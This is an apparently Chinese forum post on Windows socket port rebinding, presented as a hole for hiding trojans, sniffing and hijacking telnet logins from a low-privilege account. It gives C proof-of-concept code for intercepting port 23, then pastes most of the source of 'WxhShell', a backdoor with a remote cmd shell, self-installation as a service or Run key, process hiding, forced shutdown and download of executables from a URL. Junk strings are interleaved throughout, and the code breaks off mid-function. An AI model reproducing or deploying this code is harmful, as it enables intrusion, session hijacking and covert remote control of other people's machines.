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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NVFgRJ&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4*<27  
05+uBwH  
  saddr.sin_family = AF_INET; &;)6G1X1  
_*.Wo"[%[X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }+_Z|>qv  
m9Z3q ;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =}12S:Qhj  
TAbC-T.EV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bN#)F    
I'_.U]An  
  这意味着什么?意味着可以进行如下的攻击: cX64 X  
Ux2p qPb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gda3{g7<)  
u/@dWeY[]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aXSTA ,%  
wN])"bmB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z~.3)6,z  
05<MsxB"w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u.}z}'-  
^PCshb##  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D:uBr|('  
a*8^M\>m4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p^LUyLG`  
XOM@Pi#z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n{~W s^d  
Y^?J3[@  
  #include }tIIA"dZ  
  #include @jE<V=?  
  #include RyGce' q  
  #include    .&53WL[D|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,UdTUw~F  
  int main() ijYSYX@  
  { 27;t,Oq}  
  WORD wVersionRequested; UeVRd  
  DWORD ret; Z'%k`F  
  WSADATA wsaData; .<|7BHL  
  BOOL val; 0!n6tz lT  
  SOCKADDR_IN saddr; j HOE%  
  SOCKADDR_IN scaddr; mn=G6h T}W  
  int err; (i,TxjS'od  
  SOCKET s; FS%Xq-c  
  SOCKET sc; 0<+=Ew5Z  
  int caddsize; crJyk#_  
  HANDLE mt; OG_2k3v  
  DWORD tid;   zl: 5_u=T  
  wVersionRequested = MAKEWORD( 2, 2 ); W@^O'&3d  
  err = WSAStartup( wVersionRequested, &wsaData ); H1,;Xrm  
  if ( err != 0 ) { `]^JOw5o  
  printf("error!WSAStartup failed!\n"); N'fE^jqU  
  return -1; Os?`!1-  
  } r lalr+Rf  
  saddr.sin_family = AF_INET; HNA/LJl[VU  
   \advFKN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 89>U Koc?  
[T;0vv8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O)'Bx=S4Ke  
  saddr.sin_port = htons(23); G<C[A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Lx#5}P  
  { `N~;X~XFk  
  printf("error!socket failed!\n"); npH2&6Yhi^  
  return -1; uvK1gJrA)  
  } f$x\~y<[  
  val = TRUE; :N~1fvx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;a/Gs^W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Tn+6:<OFdO  
  { Q0f7gY1-%  
  printf("error!setsockopt failed!\n"); ZJ} V>Bu-  
  return -1; +2kJuoj:  
  } /?%zNkcxu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;}b.gpG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4VjP:>*p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HR55|`]  
qV$\.T>x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fA u^%jiU  
  { -.|V S|y  
  ret=GetLastError(); 'IweN  
  printf("error!bind failed!\n"); :XK.A   
  return -1; Tp.0@aC  
  } r00 fvZyK  
  listen(s,2); S x';Cj-  
  while(1) ?|8H|LBIr  
  { M`$s dZ"  
  caddsize = sizeof(scaddr); Si#b"ls'  
  //接受连接请求 p/B&R@%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5!r?U  
  if(sc!=INVALID_SOCKET) !M&L<0b:7e  
  { 9-Bp=M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /O1r=lv3Z  
  if(mt==NULL) c|[:vin  
  { qALlMj--m  
  printf("Thread Creat Failed!\n"); 33lD`4i+  
  break; <wge_3W#  
  } u@\]r 1  
  } H gMLh*  
  CloseHandle(mt); +53 Tf  
  } 0^4uZeW?  
  closesocket(s); ZPWY0&9  
  WSACleanup(); k&4@$;Ap  
  return 0; 3jIi$X06  
  }   ,v$gWA!l  
  DWORD WINAPI ClientThread(LPVOID lpParam) i DV.L  
  { , ;L  
  SOCKET ss = (SOCKET)lpParam; k=2]@K$%  
  SOCKET sc; "8wRx Dr+  
  unsigned char buf[4096]; `s (A&=g\  
  SOCKADDR_IN saddr; yjODa90!G  
  long num; 7@u0;5p|  
  DWORD val; *ktM<N58  
  DWORD ret; |?n=~21"1O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 utxT$1iJn~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    $9dm2#0d  
  saddr.sin_family = AF_INET; )cnB>Qul  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5|!x0H;  
  saddr.sin_port = htons(23); |;o#-YosP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rxu 6 #v F  
  { ,vEwck#  
  printf("error!socket failed!\n"); &B\tcF  
  return -1; F gM<2$h  
  } "ZDc$v:Qa  
  val = 100; N.OC _H&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o0b}:`  
  { /238pg~Cw5  
  ret = GetLastError(); 3Xgf=yG:M  
  return -1; [L 0`B9TD~  
  } c Q~}qE>I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f?T6Ne'  
  { h4x*C=?A  
  ret = GetLastError(); E(A7DXzbR  
  return -1; U7d%*g  
  } |e@9YDZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @O#4duM4Qz  
  { CZ*c["x2  
  printf("error!socket connect failed!\n"); 5K13    
  closesocket(sc); 8Czy<}S<G  
  closesocket(ss); gNJ,Bj Pd  
  return -1; r- 0BLq]~{  
  } _Z'j%/-4@D  
  while(1) Hzs]\%"  
  { vdrV)^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q#8}pBw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w}VS mt$F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,Ju f  
  num = recv(ss,buf,4096,0); qepsR/0M  
  if(num>0) l$D]*_ jc,  
  send(sc,buf,num,0); >|%m#JG  
  else if(num==0) D4[1CQ@}4D  
  break; ItGi2'}  
  num = recv(sc,buf,4096,0); y*A#}b*0  
  if(num>0) 6]^; s1!  
  send(ss,buf,num,0); i,NU%be  
  else if(num==0) }18}VjC!  
  break; K 0RY2Hiw  
  } .a\b_[+W  
  closesocket(ss); WmTSxneo  
  closesocket(sc); rD)yEuYX  
  return 0 ; ~TC z1UWV  
  } U2z1HIs  
!0:uM)_k  
tL(B gku9  
========================================================== ,:UoE  
Z-;<R$  
下边附上一个代码,,WXhSHELL <@xp. Y  
;}{xpJ/  
========================================================== Tct8NG  
k L2(M6m  
#include "stdafx.h" 3eQ-P8LS  
Qrjo@_+w!  
#include <stdio.h> J<Di2b+  
#include <string.h> $},Y)"mI  
#include <windows.h> .C(Ir  
#include <winsock2.h> M7{w7}B0@  
#include <winsvc.h> 8X`iMFa.P  
#include <urlmon.h> 44 ,:@  
mxsmW  
#pragma comment (lib, "Ws2_32.lib") +c5z-X$^]  
#pragma comment (lib, "urlmon.lib") {aP5Mem  
W(ITs}O  
#define MAX_USER   100 // 最大客户端连接数 d)F~)}TFM  
#define BUF_SOCK   200 // sock buffer T8E=}!68w}  
#define KEY_BUFF   255 // 输入 buffer =!m5'$Uz>  
$6.CN#  
#define REBOOT     0   // 重启 <RY5ZP  
#define SHUTDOWN   1   // 关机 VE5w!of  
K5gh7  
#define DEF_PORT   5000 // 监听端口 `oP :F[B  
<4S Y'-w  
#define REG_LEN     16   // 注册表键长度 |f1 S&b.  
#define SVC_LEN     80   // NT服务名长度 n;8[WR)  
hI*gw3V  
// 从dll定义API 8 hx4N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d:*,HzG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D+?/MrP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j*@^O`^v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -L@4da[]i  
Xdj` $/RI  
// wxhshell配置信息 NfizX!w&  
struct WSCFG { I\E`xkbBu  
  int ws_port;         // 监听端口 !Kr|04Qp#x  
  char ws_passstr[REG_LEN]; // 口令 <6g{vNA  
  int ws_autoins;       // 安装标记, 1=yes 0=no NNSHA'F,.\  
  char ws_regname[REG_LEN]; // 注册表键名 U 2am1}  
  char ws_svcname[REG_LEN]; // 服务名 @qk$ 6X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <?'d \B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 heJI5t,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `%}SK~<R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i356m9j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Z|X` <6g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Y T%.ID  
]w z`j1  
}; bb}zn'xC  
mn;;wp  
// default Wxhshell configuration mxk :P  
struct WSCFG wscfg={DEF_PORT, N9hs<b+N_  
    "xuhuanlingzhe", 7l}P!xa&  
    1, P6'Oe|+'  
    "Wxhshell", Ik2y If5d  
    "Wxhshell", ;0DT f  
            "WxhShell Service", 3T^f#UT  
    "Wrsky Windows CmdShell Service", -N;$L~`iAt  
    "Please Input Your Password: ", Vm}OrFA  
  1, a@:(L"Or  
  "http://www.wrsky.com/wxhshell.exe", :VpRpj4f  
  "Wxhshell.exe"  734)s  
    }; d_s=5+Yj  
L+,p#w  
// 消息定义模块 %+gYZv-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Hplg>h)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i]&C=X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! J`>;&  
char *msg_ws_ext="\n\rExit."; &nkYJi(!  
char *msg_ws_end="\n\rQuit."; 3)\jUVuj  
char *msg_ws_boot="\n\rReboot..."; U;QTA8|!&  
char *msg_ws_poff="\n\rShutdown..."; dbM~41C6  
char *msg_ws_down="\n\rSave to "; A+P9M \u.  
\6o%gpUkD  
char *msg_ws_err="\n\rErr!"; ZDEz&{3U;  
char *msg_ws_ok="\n\rOK!"; =@(&xfTC  
+(n&>7 5  
char ExeFile[MAX_PATH]; ?O3E.!Q|  
int nUser = 0; V45A>#?U  
HANDLE handles[MAX_USER]; 87WIDr  
int OsIsNt; ..BIoSrj  
FOJ-?s(  
SERVICE_STATUS       serviceStatus; CT5\8C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l~P%mVC3m  
IzVb  
// 函数声明 7\x7ySM  
int Install(void); "(bnr0  
int Uninstall(void); Xc"l')1H  
int DownloadFile(char *sURL, SOCKET wsh); 'J\nvNm  
int Boot(int flag); ~q]@Jp  
void HideProc(void); mQEE?/xX;  
int GetOsVer(void); +KV?W+g)`  
int Wxhshell(SOCKET wsl); n N.6?a  
void TalkWithClient(void *cs); BUcPMF%\y:  
int CmdShell(SOCKET sock); vbEAd)*S  
int StartFromService(void); )!SA]>-  
int StartWxhshell(LPSTR lpCmdLine); 'fpm] *ig  
'5xIisP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u5D@,wSNz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J>_|hg=  
OpFe=1Q  
// 数据结构和表定义 2I'gT$h  
SERVICE_TABLE_ENTRY DispatchTable[] = S -$ L2N  
{ C \"nlNKw  
{wscfg.ws_svcname, NTServiceMain}, )F _vWbg  
{NULL, NULL} cGF_|1`  
}; wEd+Ds]$  
a#3+PB #  
// 自我安装 6ub-NtVu  
int Install(void)  NGQBOV  
{ A|jmp~@K)+  
  char svExeFile[MAX_PATH]; XC 44]o4jx  
  HKEY key; h r@c7/L  
  strcpy(svExeFile,ExeFile); Zo$ ,{rl  
^`M,ju  
// 如果是win9x系统,修改注册表设为自启动 2J?ON|2M  
if(!OsIsNt) { 0"l*8%g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u|]{|Ya'%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6/{V#.(  
  RegCloseKey(key); Fuq MT`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {qxFRi#\k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WX.6|  
  RegCloseKey(key); >]b>gc?3  
  return 0; sVXIR  
    } 9$ GA s  
  } as#_Fer`U  
} O7<--  
else { vG E;PwR  
r 0m A  
// 如果是NT以上系统,安装为系统服务 ?\ Fo|__  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yFt$L'#  
if (schSCManager!=0) )?_x$GKY  
{ J)R2O{z  
  SC_HANDLE schService = CreateService _(A9k{  
  ( $z1W0  
  schSCManager, sKE7U>mz|  
  wscfg.ws_svcname, GJTKqr|1O  
  wscfg.ws_svcdisp, >~%!#,C(|U  
  SERVICE_ALL_ACCESS, $MW-c*5a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =Sjr*)<@j  
  SERVICE_AUTO_START, `)i'1E[9  
  SERVICE_ERROR_NORMAL, 2=R}u-@6p  
  svExeFile, _6U=7<f  
  NULL, vP k\b 3E  
  NULL, {T;A50  
  NULL, [\i0@  
  NULL, S"-q*!AhK  
  NULL 6f=,$:S$  
  ); ~HW8mly'  
  if (schService!=0) .kbo]P  
  { Z\1*g k  
  CloseServiceHandle(schService); ,[gu7z^|  
  CloseServiceHandle(schSCManager); %IAZU c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?HD eiJ kX  
  strcat(svExeFile,wscfg.ws_svcname); vI84= n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W~" 'a9H/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7E0L-E=.  
  RegCloseKey(key); ajr);xd  
  return 0; i^<P@ |q  
    } K;ncviGu  
  } ?WVp,vP  
  CloseServiceHandle(schSCManager); LUPh!)8  
} v3zd>fDnRp  
} Z~X\Z.  
v w.rkAGY  
return 1; f&=WgITa  
} 4O I''i  
v@xbur\L  
// 自我卸载 _1>Xk_  
int Uninstall(void) adCTo  
{ "c+j2f'f  
  HKEY key; jRn5)u  
DHI%R<  
if(!OsIsNt) { )Z/L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hq[:U?!Tt  
  RegDeleteValue(key,wscfg.ws_regname); k U75  
  RegCloseKey(key); rnOg;|u8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vk:k~   
  RegDeleteValue(key,wscfg.ws_regname); YGdzA]3>  
  RegCloseKey(key); wSV}{9}wr%  
  return 0; 0c-.h  
  } s%cfJe_k  
} / 5\gP//9K  
} K3Sa6"U  
else { S]"U(JmW\  
e7O9q8b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MbT;]Bo  
if (schSCManager!=0) l_q=@y  
{ &EUI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]3KMFV}  
  if (schService!=0) hRU5CH/!  
  { v47S9Vm+  
  if(DeleteService(schService)!=0) { SlaHhq3  
  CloseServiceHandle(schService); pYRqV  
  CloseServiceHandle(schSCManager); d*B^pDf  
  return 0; *UerLpf  
  } W{El^')F  
  CloseServiceHandle(schService); ^Rpy5/d  
  } q HU}EEv  
  CloseServiceHandle(schSCManager); 6x.ZS'y  
} e=H,|)P  
} 8h?):e  
~dtS  
return 1; HL`=zB%  
} t| cL!  
If*+yr|  
// 从指定url下载文件 qH=<8Iu  
int DownloadFile(char *sURL, SOCKET wsh) )01,3J>#  
{ ^ UDNp.6k  
  HRESULT hr; u4KP;_,m  
char seps[]= "/"; ~K 2.T7=  
char *token; m)1+D"z  
char *file; f{HjM? Mb3  
char myURL[MAX_PATH]; S - N [  
char myFILE[MAX_PATH]; Y[R;UJE`5  
F ]x2;N  
strcpy(myURL,sURL); \@8.BCWK  
  token=strtok(myURL,seps); m) q e  
  while(token!=NULL) zbL8 pp  
  { `w(~[`F t  
    file=token; qlU"v)Mx  
  token=strtok(NULL,seps); /19ZyQw9  
  } ]?<=DHn  
6Trtulm  
GetCurrentDirectory(MAX_PATH,myFILE); !H^e$BA  
strcat(myFILE, "\\"); T?4I\SG  
strcat(myFILE, file); LkwjEJQf  
  send(wsh,myFILE,strlen(myFILE),0); O{{\jn|lR  
send(wsh,"...",3,0); b%TLvV 9F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); svWQk9d  
  if(hr==S_OK) %7wNS  
return 0; S|Yz5)*  
else vmGGdj5aI  
return 1; a W9_[#z5  
nYb{?{_ca8  
} dR GgiQO  
v1`*}.#  
// 系统电源模块 + t JEG:  
int Boot(int flag) /@O$jlX5I  
{ -tH^Deo  
  HANDLE hToken; GF/!@N  
  TOKEN_PRIVILEGES tkp; i.5?b/l0  
+FBUB  
  if(OsIsNt) { 5*hA6Ex7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (/[wM>q:r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A dL>?SG%  
    tkp.PrivilegeCount = 1; 4Q?3gA1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?.~hex#M@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = lMs1}S9  
if(flag==REBOOT) { ,3,(/%=k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7i##g,  
  return 0; LD gGVl  
} K^Ixu~  
else { 6mml96(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c?t,,\o(}  
  return 0; x!`~+f.6  
} mM;5UPbZ  
  } K)&oDwk  
  else { L3J .Oh  
if(flag==REBOOT) { '\wZKY VN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :$f9(f&  
  return 0; 2JR$  
} nl/~7({  
else { n:P++^ j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ap)pOD7  
  return 0; =}1m.  
} lBZhg~{  
} >0AVs6&;v  
g&?RQ  
return 1; N#&/d nV  
} zy\R>4i'#Q  
"eH.<&  
// win9x进程隐藏模块 P>wTp)  
void HideProc(void) *V[6ta'  
{ *R_mvJlT  
,1ceNF#oL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @E !`:/k  
  if ( hKernel != NULL ) Hq!|(  
  { 7blo<|9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4iC=+YUn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E%e2$KfD  
    FreeLibrary(hKernel); =LyR CrA  
  } I%'6IpR"d  
NA{?DSP  
return; X775j"<d  
} i"GCm`  
q'CtfmI`r=  
// 获取操作系统版本 yr[HuwU  
int GetOsVer(void) 3aERfIJyE  
{ C|g]Y 7  
  OSVERSIONINFO winfo; Jj'dg6QY'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nu4PY@m]C  
  GetVersionEx(&winfo); Kq&JvY^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?5Q_G1H&  
  return 1; ?L(y8b}F(  
  else YJqbA?i  
  return 0; .]y"04@]  
} )o N#%%SB<  
u0i;vO)MNt  
// 客户端句柄模块 w<$0n#5  
int Wxhshell(SOCKET wsl) v?<Tkw ^F  
{ "3e1 7dsY  
  SOCKET wsh; 2&KM&NX~  
  struct sockaddr_in client; 2E_d$nsJ  
  DWORD myID; ~`!{5:v  
F&)(G\  
  while(nUser<MAX_USER) ~7O.}RP0  
{ jImw_Q  
  int nSize=sizeof(client); N}X7g0>hV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %WO4uOi:@  
  if(wsh==INVALID_SOCKET) return 1; pUm|e5  
]]!&>tOlI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Jk|ha~r  
if(handles[nUser]==0) Wo, "$Z6B  
  closesocket(wsh); K;P<c,9X/  
else N*6lyFcg  
  nUser++; 4fgYO]  
  } %=<Kb\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `#y?:s ]e  
Ojs ^-R_  
  return 0; +xojnv  
} 7Ug^aA  
dW} m44X  
// 关闭 socket mb#&yK(h  
void CloseIt(SOCKET wsh) *jrQ-'<T  
{ +GFK!Pf  
closesocket(wsh); ^M7pCetjdW  
nUser--; Q'R*a(pm  
ExitThread(0); K/IG6s;Xj  
}  zPW_  
QvvH/u  
// 客户端请求句柄 )I(2t 6i  
void TalkWithClient(void *cs) &p83X  
{ w[hT,$n  
OTV$8{  
  SOCKET wsh=(SOCKET)cs; I*OJPFZ^4  
  char pwd[SVC_LEN]; QNxY`  
  char cmd[KEY_BUFF];  Mcm%G#  
char chr[1]; Q%.F Mf  
int i,j; rlP?Uh  
ty-erdsP  
  while (nUser < MAX_USER) { Fz1K*xx'  
0.!!rq,  
if(wscfg.ws_passstr) { \ ix& U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;^9y#muk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gf^XqTLs  
  //ZeroMemory(pwd,KEY_BUFF); "|6763.{4  
      i=0; @; 0t+  
  while(i<SVC_LEN) { Ers8J V  
G{4lgkyy  
  // 设置超时 p?e-`xs  
  fd_set FdRead; 7J[s5'~|  
  struct timeval TimeOut; LY1dEZ-)A  
  FD_ZERO(&FdRead); Jt|W%`X>D  
  FD_SET(wsh,&FdRead); l#^weXSlk  
  TimeOut.tv_sec=8; "c*&~GSE4  
  TimeOut.tv_usec=0; r"_SL!,^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rr"D)|Y;C(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %(i(Cf8@  
m$WN"kV`,9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pL pBP+i  
  pwd=chr[0]; |Wz`#<t  
  if(chr[0]==0xd || chr[0]==0xa) { CaqqH`/E4  
  pwd=0; L{uQ: ;w1  
  break; / &#b*46  
  } C{2y*sx  
  i++; v/z~ j  
    } 2{I+H'w8:  
}KFM8CbS  
  // 如果是非法用户,关闭 socket g ^4<ve  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (M nK \^Y  
} qfa[KD)!aB  
o7 1f<&1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M TOZ:b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *wu|(t_ A  
C[s='v~}  
while(1) { C*&FApG  
/6yH ,{(a  
  ZeroMemory(cmd,KEY_BUFF); 'm|PSwB7  
= @n`5g  
      // 自动支持客户端 telnet标准   Kl]LnN%A{  
  j=0; kJK:1;CM?.  
  while(j<KEY_BUFF) { ]B=2r^fn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w .+B h  
  cmd[j]=chr[0]; /Q\|u:oO,  
  if(chr[0]==0xa || chr[0]==0xd) { JsV-:J  
  cmd[j]=0; >v1ajI>O&{  
  break; Wk-jaz  
  } %w#8t#[,6  
  j++; |$ &v)  
    } E0aJ~A(Hv  
v%!'vhf_K  
  // 下载文件 3&"+)*/ m  
  if(strstr(cmd,"http://")) { r(DW,xoK0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `PI?RU[g*  
  if(DownloadFile(cmd,wsh)) f}uW(:f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Yx&  
  else BfdS3VrZ/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xn* >qm  
  } DE!P[$J  
  else { 4M*!'sG\  
=q?sB]n  
    switch(cmd[0]) { zsmlXyP'e!  
  1y7FvD~v  
  // 帮助 jzAXC^FS  
  case '?': { -@?4Tfl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <jIuVX  
    break; {^_K  
  } A? T25<}  
  // 安装 v/~Lfi  
  case 'i': { FN"Ye*d  
    if(Install()) #Z1 <lAy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *rv7#!].  
    else erdA ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #v}pn2g%>  
    break; +5qY*$dn  
    } ,B,:$G<  
  // 卸载 vG#,J&aW  
  case 'r': { v#b(0G  
    if(Uninstall()) -Gd@baV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+rI=c 0  
    else S- JD}+ 9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #?klVK&e/  
    break; yLEA bd%+  
    } Pm== m9  
  // 显示 wxhshell 所在路径 zp:EssO=Q  
  case 'p': { <(W:Q3?s  
    char svExeFile[MAX_PATH]; xY<*:&  
    strcpy(svExeFile,"\n\r"); O2N~&<^  
      strcat(svExeFile,ExeFile); c%5Suu( J6  
        send(wsh,svExeFile,strlen(svExeFile),0); /[,0,B9!3  
    break; pv@w 8*  
    } k4`(7Z  
  // 重启 @ *n oma  
  case 'b': { zr^"zcfz&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KkyZd9  
    if(Boot(REBOOT)) 'QQa :3<x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:K={AIa  
    else { l?:S)[:  
    closesocket(wsh); s>ohXISB[  
    ExitThread(0); (\M+E tU<9  
    } HL~DIC%  
    break; eoxEnCU  
    } 0i~?^sT'  
  // 关机 mG.H=iw  
  case 'd': { 2*TPW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nZ8jBCh  
